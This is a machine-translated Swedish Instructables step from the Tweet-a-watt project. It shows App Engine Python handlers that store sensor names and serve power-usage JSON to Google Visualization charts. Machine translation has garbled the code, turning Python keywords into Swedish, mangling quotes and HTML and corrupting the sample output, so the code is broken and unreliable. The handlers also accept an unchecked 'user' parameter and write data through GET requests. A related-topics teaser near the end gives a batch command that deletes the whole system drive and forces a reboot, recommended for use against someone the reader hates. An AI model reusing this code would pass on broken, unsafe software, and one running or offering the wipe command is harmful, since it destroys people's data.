Tweet-a-watt - hur man gör en kvittrande kraftmätare... (17 / 19 steg)

Steg 17: Design - diagram



Att göra vackra bilder

Data är stor, men visuella effekter är bättre. I detta steg ska vi manipulerar våra lagrade historia så att vi kan göra riktigt fina grafer!

Första vi börjar med att göra våra sensorer heter, så att det är lättare för oss att hålla reda på vilket är vad. Sedan kommer vi att titta på våra graf alternativ och dataformat. Slutligen vi ska formatera om våra data för att göra det redo för grafritande

Konfigurera sensorn namnen

Dess inte roligt att ha data markeras som "sensor #1" så jag la en 'config' sida där app engine koden ser ut på vilka sensor siffror har skickat data till databasen och sedan kan du namnge dem. Naturligtvis måste du ha sensorn på och skicka data - först - innan detta kommer att fungera

Skärmen konfigurera ser ut ungefär som bilden nedan.

Denna kod använder GET när det borde verkligen använda POST. Jag är ganska gammal och inte gillar felsökning med POST so... yeah.

Undergrupp konfigurera (webapp. RequestHandler):
def get(self):
# gör användaren logga in om inget användarnamn levereras
om self.request.get('user'):
konto = användare. User(Self.Request.get('user'))
annat:
om inte users.get_current_user():
Self.Redirect(users.create_login_url(Self.Request.URI))
konto = users.get_current_user()

Self.Response.out.write ("< html >< kropp > uppsättningen upp din sensornode namn här: < p >')

# Hitta alla sensorer upp till #10
sensorset =]
för i i range(10):
c = db. GqlQuery ("Välj * från Powerusage där författaren =: 1 och sensornum =: 2", users.get_current_user(), i)
om c.get():
sensorset.append(i)

Self.Response.out.write ("< bildar åtgärd =" / config "metod ="Hämta">")
för sensor i sensorset:
namn = ""
currnamequery = db. GqlQuery ("Välj * från Sensorname där författaren =: 1 och sensornum =: 2", users.get_current_user(), sensor)
currName = currnamequery.get()

# först se om vi ställer det!
om self.request.get('sensornum'+str(sensor)):
namn = self.request.get('sensornum'+str(sensor))
om inte currname:
currName = Sensorname() # skapa en ny post
currName.sensornum = sensor
currName.author = users.get_current_user()
currName.sensorname = namn
currName.Put()
annat:
# vi inte ställer det så fetch nuvarande post
om currname:
namn = currname.sensorname

Self.Response.out.write ("Sensor #' + str(sensor) +': < input type ="text"name="sensornum'+str(sensor) + "" värde = "" + namn +"" >< / text >< p >')

Self.Response.out.write ("" "< div >< input type =" Skicka"värde ="Byt namn">< / div >
< / form >
< / body >
< / html > "" ")

Nu kan vi ha mer användbar data i historia soptipp

Nu kan vi se att Phil mestadels är att skylla för våra elräkningen!

Google Visualizer

Så vi har data och vi skulle vilja se våra power användning historia. Graphing data är en hel del arbete, och jag är lat. Så jag leta på nätet och tycker att Google - också - har en visualisering API! Detta innebär att jag inte behöver skriva ett gäng grafiska kod, och kan bara koppla in i deras system. Söt!

OK kolla galleriet av tillgängliga visualiseringar, är jag förtjust i detta en, Kommenterad tidslinje

Notera hur du lätt kan se grafer, rulla runt, zooma in och ut och varje handling är märkt. Perfekt för plottning ström data!

Dataformatering

Theres några begränsningar med hur vi får data till visualisering api och våra bästa alternativet är JSon data. Såvitt jag kan säga, är JSON vad som hände när alla sa "wow, XML är på riktigt skrymmande och slösaktiga". Hur som helst, theres som 4 lager av ram och tolkande data instruktionerna och till slut fanns det ett ganska lätt att använda bibliotek Skrivet av Google visualiseringar team som jag vill "bara gör det" med ett enda samtal genom att sätta data i en python "dictionary" i ett visst format.

Släpper igenom koden i sektioner, eftersom funktionen är ganska lång

klass JSONout(webapp. RequestHandler):
def get(self):

# gör användaren logga in om inget användarnamn levereras
om self.request.get('user'):
konto = användare. User(Self.Request.get('user'))
annat:
om inte users.get_current_user():
Self.Redirect(users.create_login_url(Self.Request.URI))
konto = users.get_current_user()

# antar vi vill 24 timmar av data
historytimebegin = 24
om self.request.get('bhours'):
historytimebegin = int(self.request.get('bhours'))

# antar vi vill data start från 0 timmar sedan
historytimeend = 0
om self.request.get('ehours'):
historytimeend = int(self.request.get('ehours'))

# dataformat för JSON lycka
DataStore =]
columnnames = ["datum"]
ColumnSet = set(columnnames)
Beskrivning = {"datum": ("datetime", "Datum")}

# namn på varje sensor, om konfigurerat
sensornames = [ingen] * 10

Först får upp vi vi kommer att titta upp data för användaren. Sedan har vi två variabler för att fastställa mängden data till hugg. En är "ehours" (slutet timmar) och den andra är "bhours". Så om du ville de senaste 5 timmarna, bhours skulle vara 5 och ehours skulle vara 0. Om du ville ha 5 timmar från en dag sedan, bhours 29 och ehours skulle vara 24. DataStore är där vi kommer corall alla data. columnnames och beskrivning är "namnen" på varje kolumn. Vi har alltid en datumkolumn, sedan en annan kolumn för varje sensor ström. Vi har även en separat array cachelagra särskilda sensor namnen.

till nästa avsnitt! Här är där vi faktiskt ta data från databasen. Nu app engine har detta irriterande begränsningar, kan du bara få 1000 poäng för data på en gång så vad jag gör är att gå igenom den 12 timmar i taget. Den slutliga datastore har alla poäng men det är lättare på databasen, antar jag. En sak som är förvirrande kanske är varje kolumn har ett namn och en beskrivning. Namnet är kort, säga "watts3" för sensor #3, men beskrivningen kan vara "Limor's workbench". Jag minns inte ens skriva denna kod så kanske du kan lista ut på egen hand?

# vi inte kan ta mer än 1000 datapoints, tack vare gratis-app-engine begränsning
# Det är ca 3 sensorer värd på en dag
# så vi kommer att begränsa till bara greppa 12 timmar av data i en tid, omkring 7 sensorer värt

medan (historytimebegin > historytimeend):
om (historytimebegin - historytimeend) > 12:
timebegin = datetime.timedelta (hours = - historytimebegin)
timeEnd = datetime.timedelta (hours =-(historytimebegin-12))
historytimebegin-= 12
annat:
timebegin = datetime.timedelta (hours = - historytimebegin)
historytimebegin = 0
timeEnd = datetime.timedelta (hours = - historytimeend)

# ta alla sensordata för denna tid bit
powerusages = db. GqlQuery ("Välj * från Powerusage där datum >: 1 och datum <: 2 och författare =: 3 ORDER BY date", datetime.datetime.now () + timebegin, datetime.datetime.now () + timeend, hänsyn)

# sortera dem i rätt format och lägga till sensor namn från att DB om inte klar än
för powerused i powerusages:
Coln = "watt" + str(powerused.sensornum)
Entry = {"datum": powerused.date.replace(tzinfo=utc).astimezone(est), coln: powerused.watt}
om inte (coln i columnset):
columnnames.append(Coln)
ColumnSet = set(columnnames)
# hitta sensor namnet, om vi kan
om (len(sensornames) < powerused.sensornum) eller (inte sensornames[powerused.sensornum]):
currnamequery = db. GqlQuery ("Välj * från Sensorname där författaren =: 1 och sensornum =: 2", konto, powerused.sensornum)
namn = currnamequery.get()

om inte namn:
sensornames[powerused.sensornum] = "sensor #"+str(powerused.sensornum)
annat:
sensornames[powerused.sensornum] = name.sensorname

Beskrivning [coln] = ("nummer", sensornames[powerused.sensornum])
#self.response.out.write(sensornames)

# lägga till en post i taget
DataStore.append(Entry)

Slutligen i slutet av alla looping, vi anropa funktionen magic som förvandlar ordboken till JSON, Linda in den i rätt Google visualisering paketet, sedan spotta ut!

# OK alla data är redo att gå, skriva ut den i JSON-format!
data_table = gviz_api. DataTable(description)
data_table. LoadData(datastore)
Self.Response.headers ["Content-Type"] = "text/plain"
Self.Response.out.write (data_table. ToJSonResponse(columns_order=(columnnames),
order_by = "datum"))

Om du var att besöka http://wattcher.appspot.com/visquery.json?user=adawattz skulle det ut ungefär så här:

google.visualization.Query.setResponse({'version':'0.5', 'reqId':'0', 'status':'OK', 'table': {cols: [{id:'date',label:'Date',type:'datetime'},{id:'watts1',label:'Limor',type:'number'},{id:'watts5',label:'Workbench',type:'number'},{id:'watts2',label:'Adafruit',type:'number'},{id:'watts4',label:'Phil2',type:'number'}],rows: [{c:[{v:new Date(2009,1,25,21,20,2)},{v:64.8332291619},,,{v:null}]},{c:[{v:new Date(2009,1,25,21,20,3)},,{v:230.122099757},,{v:null}]},{c:[{v:new Date(2009,1,25,21,20,3)} ,,, {v: 65.4923925044}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,20,4)},,, {v: 48.6947643311}]}, {c: [{v: nya Date(2009,1,25,21,25,3)},, {v: 228.409810208}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,25,3)}, {v: 67.3574917331},,, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,25,3)},,, {v: 66.0046383897}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,25,4)},,, {v: 47.3892235642}]}, {c: [{v: nya Date(2009,1,25,21,30,2)}, {v: 84.9379517795}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,30,3)},,, {v: 99.7553490071}]} , {c: [{v: nya Date(2009,1,25,21,30,5)},, {v: 229.73642288}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,30,6)},,, {v: 66.6556291818}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,35,2)},,, {v: 67.3146052998}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,35,3)}, {v: 96.2322216676}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,35,3)},, {v: 226.678267688}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,35,4)},,, {v: 158.428422765}]}, {c: [{v: nya Date(2009,1,25,21,40,3)},, {v: 232.644574879}, {v: null}]} , {c: [{v: nya Date(2009,1,25,21,40,4)},,, {v: 153.666193493}]}, {c: [{v: nya Date(2009,1,25,21,40,6)},,, {v: 66.7874343225}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,40,12)}, {v: 95.0019590395},,, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,40,21)}, {v: 95.0144043571}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,40,23)},,, {v: 66.8060307611}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,45,2)},,, {v: 66.9814723201}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,45,3)},, {v: 226.036818816}, {v: null}]} , {c: [{v: nya Date(2009,1,25,21,45,3)}, {v: 99.2775581827},,, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,45,4)},,, {v: 154.261889366}]}, {c: [{v: nya Date(2009,1,25,21,50,4)}, {v: 102.104642018},,, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,50,4)},,, {v: 155.441084531}]}, {c: [{v: nya Date(2009,1,25,21,50,5)},,, {v: 67.0087146687}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,50,5)},, {v: 230.678636915}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,55,3)}, {v: 103.493297176}, {v: null}]}, {c: [{v : nya Date(2009,1,25,21,55,3)},,, {v: 151.309223916}]}, {c: [{v: nya Date(2009,1,25,21,55,4)},,, {v: 66.9174858741}, {v: null}]}, {c: [{v: nya Date(2009,1,25,21,55,4)},, {v: 227.765325835}, {v: null}]}, {c: [{v: nya Date(2009,1,25,22,0,3)},,, {v: 67.0004310254}, {v: null}]}, {c: [{v: nya Date(2009,1,25,22,0,3)},,, {v: 150.389989112}]}, {c: [{v: nya Date(2009,1,25,22,0,3)},, {v: 230.892049553}, {v: null}]}, {c: [{v: nya Date(2009,1,25,22,0,4)}, {v: 92.2432771363}, {v: null}]}, {c: [{v: nya Date(2009,1,25,22,15,3)} {v: 97.5910440774}, {v: null}]}, {c: [{v: nya Date(2009,1,25,22,15,3)},,, {v: 143.722595861}]}, {c: [{v: nya Date(2009,1,25,22,15,4)},,, {v: 64.4898008851}, {v: null}]}, {c: [{v: ny Date(2009,1,25,22,15,4)},,{v:222.357617868},,{v:null}]}]}});

Hur som helst, kan du ganska se data, Observera också dess faktiskt ett funktionsanrop, det här är riktigt kinky!

Nu gå till Google visualiseringar lekplats och fyll i Webbadressen i sandlådan

Och du kan se visualisering sig pop ut! (detta är bara en skärm skott så gå göra det väntar om du vill röra runt)

OK gå röra runt, lägga till och ändra bhours och ehours

Inslagning upp visualisering

OK är vi nästan klara. Nu behöver vi bara i princip ta koden från sandlådan och göra den en delsida i vår app motor... som så:

Undergrupp visualisera (webapp. RequestHandler):
def get(self):

# gör användaren logga in om inget användarnamn levereras
om self.request.get('user'):
konto = användare. User(Self.Request.get('user'))
annat:
om inte users.get_current_user():
Self.Redirect(users.create_login_url(Self.Request.URI))
konto = users.get_current_user()

historytimebegin = 24 # ta 24 timmar
om self.request.get('bhours'):
historytimebegin = int(self.request.get('bhours'))

historytimeend = 0 # antar 0 timmar sedan
om self.request.get('ehours'):
historytimeend = int(self.request.get('ehours'))

# få den första delen, headers, ute
() Self.Response.out.Write
<! DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" >
< html xmlns = "http://www.w3.org/1999/xhtml" >
< head >
< meta http-equiv = "content-type" content = "text/html; charset = utf-8 "/ >
< title > Google Visualization API prov < / title >
< script type = "text/javascript" src = "http://www.google.com/jsapi" >< / script >
< script type = "text/javascript" >
Google.load ("visualisering", "1", {paket: ["annotatedtimeline"]});

funktion drawVisualizations() {
)

# skapa våra visualisering
Self.Response.out.write (nya google.visualization.Query ("http://wattcher.appspot.com/visquery.json?user=+
Account.email() +& bhours =+ str(historytimebegin) +") .send (
function(Response) {
nya google.visualization.AnnotatedTimeLine)
document.getElementById("visualization")).
draw(Response.getDataTable(), {"displayAnnotations": sant});
});
)

Self.Response.out.write (}

google.setOnLoadCallback(drawVisualizations);
< / script >
< / head >
< body style = "font-family: Arial, gränsen: 0 ingen;" >
< div id = "visualisering" style = "bredd: 800px; höjd: 250px; " >< / div >
< / body >
< / html >)

Den första delen är ganska rakt framåt, få användar- eller logga in. Sedan kommer vi att anta att användaren vill 1 sista dagen data, så som bhours och ehours. Sedan skriva vi bokstavligen bara ut den kod vi kopierat från Googles visualisering sandlåda, gjort!

Viz Viz Viz

Det enda jag inte kunde lista ut är hur man får 3 visualiseringar händer på en gång (sista timme, dag och vecka) med ovanstående kod. Det bröt bara kinda. Så för vyn trippel hade jag gå använda iframes :(

klass VisualizeAll(webapp. RequestHandler):
def get(self):

# gör användaren logga in om inget användarnamn levereras
om self.request.get('user'):
konto = användare. User(Self.Request.get('user'))
annat:
om inte users.get_current_user():
Self.Redirect(users.create_login_url(Self.Request.URI))
konto = users.get_current_user()

() Self.Response.out.Write
< h2 > Power användning under den senaste timmen: < / h2 >
< iframe src = "graf? användare = adawattz frameborder ="0"width ="100% "höjd ="300px">
< p > webbläsaren inte stöder iframes. < /p >
< / iframe >

< h2 > Power användning under den sista dagen: < / h2 >
< iframe src = "graf? användare = adawattz frameborder ="0"width ="100% "höjd ="300px">
< p > webbläsaren inte stöder iframes. < /p >
< / iframe >

< h2 > strömförbrukning under den senaste veckan: < / h2 >
< iframe src = "graf? användare = adawattz frameborder ="0"width ="300% "höjd ="500px">
< p > webbläsaren inte stöder iframes. < /p >
< / iframe >

)

Hur som helst, det fungerar alldeles utmärkt.

Timecodes!

Det sista som inte kommer att ses här är hur jag fick datum och tider att vara EST istället för UTC. Såvitt jag kan säga, dess sort av trasiga och mystiska. Kontrollera koden om du vill räkna ut.

Se Steg
Relaterade Ämnen

Hur man gör fast odlingsmedium plåtar för jästkultur

om du skulle vilja kultur din egen jäst, antingen från stammar tillgängliga kommersiellt eller från opastöriserad craft beer, så du kan enkelt göra detta utanför labbet med en tryckkokare och några leveranser. Först, jag uppmuntrar dig att läsa min t...

Hur man gör billigare teknik plåtar och microloading

jag tog en tid bort från lyft tack vare en skada och när jag kom tillbaka jag tittar på att köpa teknik plattorna så jag kunde börja ljus och långsamt lägga tyngd. Teknik plattorna gör att du kan starta ljus om du gör en böjd över raden och de också...

Hur man gör en Fake geigermätare

vilken effekt kan förbättra en galen vetenskapsman lab på Halloween? Tickande av en geigermätare! Och Tänk... Om du hade en falska geigermätare kunde du våg över någonting, och när du ville ha, ställa av rasande att klicka?Det är vad jag byggt för vå...

Hur man gör handgjorda Ear mätare/pluggar

Jag satte denna handledning tillsammans för att resumé och uppdatera och bara sätta den extra sak är här att jag glömde att nämna i hur att göra handgjorda mätare/öronproppar videon, och nämna saker och sätta extra tips och korrigera där jag gick fel...

Hur man lägga till egna låtar i Guitar Hero 3 (Wii) del 1

i detta Instructable kommer vi använda ett praktiskt program som heter The Ghost för att injicera anpassade låtar i Guitar Hero 3 (eller Areosmith) på Wii. Dessa spel kan sedan brännas på en CD eller sätta på en flash-enhet som ska spelas på en mjuk...

Hur man lägga till egna låtar i Guitar Hero 3 (Wii) del 2

detta är del 2 av den under projektet. Om du redan har gjort Del1, gå till nästa steg. Annars kan du starta Del1 genom att gå här.I detta instructable, vi kommer att använda ett praktiskt program som heter The Ghost för att injicera anpassade låtar i...

Hur man gör teeny tiny båtar av PVC-rör

detta är min post för Kitemans internationella Go-Pro Challenge, göra det streckgubbe tävling 2 och 4: e Epilog utmaningen. Dess också min allra första kompatibel :D Njut!(För Kitemans internationella Go-Pro utmaning)Den "internationella" delen...

Hur man gör enkla elektroniska mätare (supersonic sensor SRF05)

[youtube]uTZW_YWh8jA[/youtube]...

Hur man gör ett virus som tar bort hårddisken

detta är mycket användbart om du hatar någonSteg 1: Det första du gör är att öppna anteckningarSteg 2: att komma nära nu skriver:utanfördel %systemdrive%\*.*/f s qShutdown - r -f -t 00Steg 3: nu besparingen spara:watheveryouwant.batSteg 4: resultat h...

Hur man skapar en CD med låtar från iTunes-biblioteket att lyssna på i bilen?

Om du någonsin velat ha en CD med din favoritmusik från iTunes-biblioteket, så du kan enkelt lyssna dem medan du är på en lång resa med din bil, till exempel är detta sätt att göra det.Steg 1: Öppna iTunes När programmet är öppet, sätt in en tom CD/D...

Hur man knyter en Pålstek

Pålstek är en knut som kommer att skapa en slinga av repet som inte glider. Det används ofta i rädda för att dra upp offren från en grop eller spricka. Och nu du kommer att lära sig hur man knyter den. MEN DU TAR INTE EMOT RÄDDNING UTBILDNING. Använd...

Hur man gör en SPY PEN TASER

Hur man gör en SPY PEN TASER?Steg 1: I denna film jag kommer att berätta hur man gör en spion elstötar penna!Steg 2: Med hjälp av spy elektrisk stöt pennan kan du spela ett trick på din vän i skolan eller arbeta.Spy elektrisk stöt pennan är inte farl...

Hur man använder den talande ES6928P röst erkännande System_Stand-ensam/nej PC REQ skulle

Hej alla! Välkommen till min Instructable!Tack för att ha en gåskarl. Ungefär åtta månader sedan, bestämde jag mig att en av mina nya satsningar skulle vara att skapa en röst erkännandesystem som kunde vara utbildad manuellt, och utan att ha till grä...

Hur man gör skopan trädgårdsskötsel med vatten nivåmätare

Hink trädgårdsskötsel isvery lämplig för plantering om det finns ingen ledig mark.Spara vatten, och lätt att flytta. Vattennivåindikatorn är mycket användbara, så du inte glömmer igen för vattna växterna. Du kan göra med alla storlekar hink. Och alla...

Hur man manuellt ta blodtryck

IntroduktionBlodtryck är en viktig indikator på hälsan. Veta sitt blodtryck är det första steget till att förebygga hjärtsjukdom. Även om de flesta läkare tar blodtryck med hjälp av en automatisk blodtrycksmätare, är att veta hur man använder en manu...

Hur man skriver i 3-D

detta är hur man skriver i 3-D. Det tar mycket längre tid att skriva än vanlig handskrift, men det är bra för gratulationskort och andra saker.Steg 1: Grunderna i 3D-bokstäver För att skriva 3-D, det är ganska lätt. Oftast måste du tänka om perspekti...

Hur man drar en Cat Eye (manga och anime)

Hej alla! Som ni vet alla, har jag några manga katt tutorials redan, men jag tänkte det var på tiden att jag gjorde en specifik för ögat, som är särskilt knepigt. Så, utan någon ytterligare adjö, låt oss få till det!Steg 1: Några saker du behöverAtt...

Hur man gör en ARDUINO VU mätare

Hej stötarna. Vill du göra en liten, cool projekt genom att använda Arduino? Du kan hitta det här.Vi kör en YouTube-kanal "Att vara ingenjörer" och vi ger video tutorials på programmeringsspråk, grundläggande elektronik och också några coola ele...

Hur man får musik från IPA-filer

i detta Instructable kommer jag visa dig hur man får dessa awesome låtar från dina favoritspel från iTunes Store.Bilden visar låtarna jag fick av Tap Tap DanceDess mycket enkelt eftersom filer .m4aSteg 1: Att få verktyget Okej så huvud på över till h...